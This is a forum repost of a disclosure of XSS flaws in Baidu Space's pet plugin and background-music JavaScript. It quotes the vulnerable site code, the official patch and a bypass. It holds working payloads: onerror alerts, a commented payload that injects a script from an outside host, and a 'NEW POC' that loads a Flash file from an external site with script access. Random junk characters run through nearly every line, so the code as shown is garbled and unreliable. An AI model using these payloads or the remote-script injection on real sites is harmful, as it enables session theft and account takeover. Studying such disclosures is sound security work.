找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2161|回复: 0
打印 上一主题 下一主题

hi.baidu Xss 漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-8-24 11:51:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  
* \2 N8 P5 ~, M8 c1 Y. }7 a. M# a% Z3 f  K; y# o9 s, }
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  1 d/ P9 f% N# G3 i0 \! `
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  / ~0 i0 y- s0 U& i( B) S
# L; h2 A% ^( u, E1 p& r
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  1 V( H' `) l  X' p& ~$ ]
其中BdUtil.insertWBR为  
0 v3 ^; G  O6 e, p0 }- L& Qfunction(text, step) {  
) @2 {  f- ?+ }6 A    var textarea = textAreaCache || getContainer();  
/ W( F. }7 p1 \2 P    if (!textarea) {  * ~6 _& |. t$ G* Z) i/ g; _2 n
        return text;  
" i+ m5 l* \" j3 k; e    }  
# V5 ]& T! H! d8 k, [, F    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
* v0 s, w: [3 e* t. c    var string = textarea.value;  ! a! @1 A/ h6 R  x: p% l) `& A
    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
+ `5 w" ?" P8 o9 g    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  & Q. t" g2 L  D" u/ X$ O
    return result;  
* \, W  X: m0 w7 ?9 M8 o# A% c, O8 J}  * Y, G& b5 N( @# t
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  , s( ^9 [2 e- z* z7 X
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
' c; V5 f2 V+ U, a3 d" ]   
: Q9 N4 @5 a' F' O. {% N二:creatbgmusic() Dom-Xss Bug  
, C9 T6 a8 j* g* n百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  
4 L% `0 b/ j5 x+ o9 U! n/ t5 R0 z& C" C% Y! @: [( I: f
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  2 p- G1 `* m$ }8 _7 U& A; e

/ G! M5 T9 q$ L8 Dfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  0 T- j/ ^, S6 |) y9 B
    //传入的murl赋值到bgmusic1和bgmusic2中  
2 j- E% f, I3 H! P+ z( g% a    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
( E$ C* u9 B9 t, k# i$ o; o    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  
6 S: w4 {1 C% B% O% z    if (musicnum <= 1) {  - j9 D/ v% l( c( `
        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  & d+ [: s/ O+ a3 w% ?
    }  , E9 b1 [3 d9 j) o+ p% O
    bgmusic1 += "</OBJECT>";  . Z3 U; F. F5 ^( o
    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  $ l# C; o: n0 q! X
    if (musicnum <= 1) {  
. I4 Y7 l) L! J) E5 s) [        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  & j4 k5 T4 J1 p' i$ N
    }  
0 h5 |- `. x8 }+ k    bgmusic2 += "> </EMBED>";  * M5 C* H  K0 G' W2 }. A$ ]$ a
    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";    U4 t& w# e7 f2 a1 }/ y
    var bgmus = detectWMP();  / f! {* W) o; u0 k, S
    if (functype == "FckMusicHelper") {  
8 ]$ q0 I) {) J1 a2 I: {: {  ~        if (bgmus.installed) {  " j" D3 e6 M5 r. p' R
            if (bgmus.type == "IE") {  
7 [  [+ [$ v' B1 z* _0 E0 Q! N                return bgmusic1;  4 D0 n: B0 \6 x: E! W. r
            } else if (bgmus.type == "NS") {  
9 K; P/ U& f$ O$ @# T' Y                return bgmusic2;    [) t6 k$ Y- j' `1 H" x! y
            }  9 G- Y# C% ^+ v4 d& r2 @5 y" j
        } else {  ( u" |- l; P  D5 a4 y6 z
            return bgmusic3;  9 F  E- L4 @, O' U" v
        }  4 c' T2 i+ R. F
    } else {  
3 u" m; x6 U$ Y; i0 h        if (bgmus.installed) {  % D7 [9 Y5 R  }9 ]. F% N" l9 Q6 S
            //document.write 直接输出bgmusic变量 导致xss  5 D3 W& _0 B' n+ l5 e& Z$ Y0 A4 A
            if (bgmus.type == "IE") {  / r$ i6 R: ]/ j  j
                document.write(bgmusic1);  
- b: \7 i% d$ Y% f            } else if (bgmus.type == "NS") {  , U, X+ e( N' p% ^( D
                document.write(bgmusic2);  
1 j# _. i5 s6 g6 f! F7 _6 R; V' d            }  # o  D0 ~2 j0 p* x9 S
        } else {  
5 v. d, X0 ]7 u            document.write(bgmusic3);  
) g# k- `" N2 ?* s# u& \+ {/ d* y        }  
8 C! u, r% ]4 q# I# e3 A! z        return "";  
: `9 g7 q4 a" o! F. X; o% l/ e    }  7 o& m7 V% z* A: T$ A
}  
# E& u: U0 h5 z4 a; Z4 a* h/ G8 [
+ Q9 r# G: r# B3 v, F在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  9 m2 G1 D4 m' j/ R6 e
: F9 k& _" A1 t! y
function initBlogTextForFCK(){  $ x, k. j' {* X# W4 A4 [
//fck init music  
9 g* s6 A. n4 q: P' D6 W) ^: Bif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  ! {0 k) a, r6 p$ ], {; Q- [
var imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  2 I9 `+ ~' d( @7 [! A& z% X* U
var isAutoPlay=true;  * @$ n7 F# x" ^2 ?- F2 k0 d
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  4 g0 G' @2 ^/ J% }! a7 g, R4 R3 I
  var img=imgBox;  
( C" `" a6 [- i) J2 @# O* ^  if(img.getAttribute(’rel’)){        
5 j- |* E; d5 d9 n3 j) T4 n( X   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
# v; Y/ ~* N2 B2 v- f4 L- [+ x   var musicDiv = document.createElement("SPAN");  
, y- l' z4 |+ i: Z   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  6 \; e/ x5 S% y: a% A! a) H
     
/ V+ c" a5 L3 t      ..........................  3 p& w4 p) z9 c
     9 K5 K' x) G5 x. n
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
3 i5 @! O7 Y8 z$ ~- b   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  , _0 ~; i+ ^2 w' u
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  9 T! N2 G$ [% E3 s, X$ N& J6 J
   musicDiv.innerHTML=shtml;  
* V) v. C- ?$ z  z* W6 u. L2 H# P   i--;n--;  
% |* [8 j& Z2 s" L0 d: e  }  6 ?: u5 G; j1 \- W3 d& X; L
}  ; K9 o, ]/ I! Z8 D
. r% S8 [) K2 \& r+ p% t
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  , {$ L) h/ A/ c# S2 K
   
- J1 e7 t$ u5 @) _7 b: t测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  
6 e+ l) O/ F' e5 t! `$ E3 \/ D* G8 J, `7 \7 m* E- F0 A; V/ C* W; L
等待官方补丁  8 m6 p: ]. I8 i0 [+ N% a- \

$ W; C( j  e' `update 2010年5月13日   . _7 w/ {' M' [5 I6 q

1 e1 o) @. U' U官方补丁:  $ Y% J3 E/ f5 Z2 m3 G

9 z$ f. J- ]  d( x0 j0 mvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  . |  X+ x# Z  v! N  @/ K0 ?* f/ r5 l
改为:  6 k) p( M% @  \2 P8 Z
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
! }3 }7 l1 X- ^8 t- X
$ o; X4 C' `( d' }update 2010年5月13日 21:50:37    m/ c/ e1 s6 m0 G6 I, [; V

* |2 ~9 n+ l7 A补丁存在漏洞 没有过滤" 可以继续跨:  
8 |/ n* `3 u  O9 n
0 d* t: N: S4 `3 k& W$ NNEW POC:  
6 i+ w1 S* I; m3 d- V2 F0 E) o7 M" T% a8 E$ q* u; ?
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
# W2 b0 r: {' `6 R! j. ~
9 z& w& U: x' n* `allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
! Q9 B2 v7 K6 p & f0 D2 R0 D+ m3 `& z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表